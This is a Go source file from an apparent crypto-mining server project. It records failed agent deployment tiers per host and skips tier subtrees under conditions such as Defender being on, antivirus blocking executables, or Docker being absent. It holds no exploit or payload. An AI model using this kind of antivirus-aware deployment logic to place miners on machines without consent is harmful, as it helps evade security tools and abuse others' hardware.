Files
AetherForge/server/internal/atlas/failure_atlas.go
AetherForge d9f36f182c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
2026-06-07 02:41:54 -07:00

212 lines
5.7 KiB
Go

package atlas
import (
"fmt"
"strings"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
// FailureAtlas records conditioned tier failures and derives hard subtree skips.
type FailureAtlas struct {
db *db.Database
}
func NewFailureAtlas(database *db.Database) *FailureAtlas {
return &FailureAtlas{db: database}
}
// RecordFailure increments failure counters for each active condition on a failed tier attempt.
func (a *FailureAtlas) RecordFailure(fingerprintBucket, tier string, conditions []string) error {
if a == nil || a.db == nil || strings.TrimSpace(fingerprintBucket) == "" || strings.TrimSpace(tier) == "" {
return nil
}
tier = normalizeTier(tier)
for _, cond := range conditions {
cond = strings.TrimSpace(cond)
if cond == "" {
continue
}
if err := a.db.UpsertFailureAtlasPattern(fingerprintBucket, cond, tier); err != nil {
return err
}
}
return nil
}
// ShouldSkipSubtree reports whether atlas rules block attempting tier on this fingerprint.
func (a *FailureAtlas) ShouldSkipSubtree(fingerprintBucket, tier string, probes ProbeSnapshot, fp strategy.HostFingerprint) bool {
if a == nil || a.db == nil {
return false
}
rules, err := a.matchingRules(fingerprintBucket, fp.GOOS, ExtractConditions(fp, probes))
if err != nil {
return false
}
target := normalizeTier(tier)
for _, rule := range rules {
for _, branch := range rule.Subtree {
if normalizeTier(branch) == target {
return true
}
}
if tierInSubtree(target, rule.Tier) {
return true
}
}
return false
}
// GetAtlasRules returns active atlas rules for a fingerprint bucket (UI / AI).
func (a *FailureAtlas) GetAtlasRules(fingerprintBucket, goos string) ([]AtlasRule, error) {
if a == nil || a.db == nil {
return nil, nil
}
patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
if err != nil {
return nil, err
}
return rulesFromPatterns(patterns), nil
}
// ComputeSkips returns hard skip entries for the current host snapshot.
func (a *FailureAtlas) ComputeSkips(
fp strategy.HostFingerprint,
probes map[string]bool,
defenderEnabled, defenderRTP *bool,
) ([]AtlasSkip, error) {
if a == nil || a.db == nil {
return nil, nil
}
snap := ProbeSnapshotFromMaps(fp, probes, defenderEnabled, defenderRTP)
rules, err := a.matchingRules(fp.Key(), fp.GOOS, ExtractConditions(fp, snap))
if err != nil {
return nil, err
}
seen := make(map[string]bool)
var skips []AtlasSkip
for _, rule := range rules {
for _, branch := range rule.Subtree {
key := normalizeTier(branch) + "|" + rule.Condition
if seen[key] {
continue
}
seen[key] = true
skips = append(skips, AtlasSkip{
Tier: branch,
Condition: rule.Condition,
Reason: rule.Reason,
})
}
}
return skips, nil
}
// MergeSkipsIntoStrategy adds atlas hard skips into an adaptive strategy plan.
func MergeSkipsIntoStrategy(strat *strategy.AdaptiveStrategy, skips []AtlasSkip) {
if strat == nil || len(skips) == 0 {
return
}
have := make(map[string]bool, len(strat.SkipTiers))
for _, t := range strat.SkipTiers {
have[normalizeTier(t)] = true
}
for _, skip := range skips {
tier := normalizeTier(skip.Tier)
if tier == "" || have[tier] {
continue
}
have[tier] = true
strat.SkipTiers = append(strat.SkipTiers, tier)
label := strings.ReplaceAll(tier, "_", " ")
strat.Reasoning = append(strat.Reasoning, strategy.StrategyReason{
Fact: "Failure atlas: " + label + " blocked under " + conditionLabel(skip.Condition),
Inference: skip.Reason,
Action: "Hard skip " + label + " subtree",
})
}
order := make([]string, 0, len(strat.TierOrder))
for _, t := range strat.TierOrder {
if !have[normalizeTier(t)] {
order = append(order, t)
}
}
strat.TierOrder = order
}
func (a *FailureAtlas) matchingRules(fingerprintBucket, goos string, activeConditions []string) ([]AtlasRule, error) {
patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
if err != nil {
return nil, err
}
active := make(map[string]bool, len(activeConditions))
for _, c := range activeConditions {
active[c] = true
}
var out []AtlasRule
for _, p := range patterns {
if p.FailCount < MinFailCountForSubtree {
continue
}
if len(active) > 0 && !active[p.Condition] {
continue
}
rule := AtlasRule{
Tier: p.Tier,
Condition: p.Condition,
FailCount: p.FailCount,
FingerprintBucket: p.FingerprintBucket,
Subtree: subtreeTiers(p.Tier),
Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
}
out = append(out, rule)
}
return out, nil
}
func rulesFromPatterns(patterns []db.FailureAtlasPattern) []AtlasRule {
out := make([]AtlasRule, 0, len(patterns))
for _, p := range patterns {
if p.FailCount < MinFailCountForSubtree {
continue
}
out = append(out, AtlasRule{
Tier: p.Tier,
Condition: p.Condition,
FailCount: p.FailCount,
FingerprintBucket: p.FingerprintBucket,
Subtree: subtreeTiers(p.Tier),
Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
})
}
return out
}
func conditionLabel(cond string) string {
switch cond {
case ConditionDefenderOn:
return "Defender on"
case ConditionNoDocker:
return "no Docker"
case ConditionAVBlocksExe:
return "AV blocks exe"
case ConditionGOOSWindows:
return "Windows"
case ConditionGOOSLinux:
return "Linux"
case ConditionGOOSDarwin:
return "macOS"
case ConditionNoWSL:
return "no WSL"
case ConditionNoPowerShell:
return "no PowerShell"
case ConditionNoDotNet:
return "no dotnet"
case ConditionNoGPU:
return "no GPU"
default:
return strings.ReplaceAll(cond, "_", " ")
}
}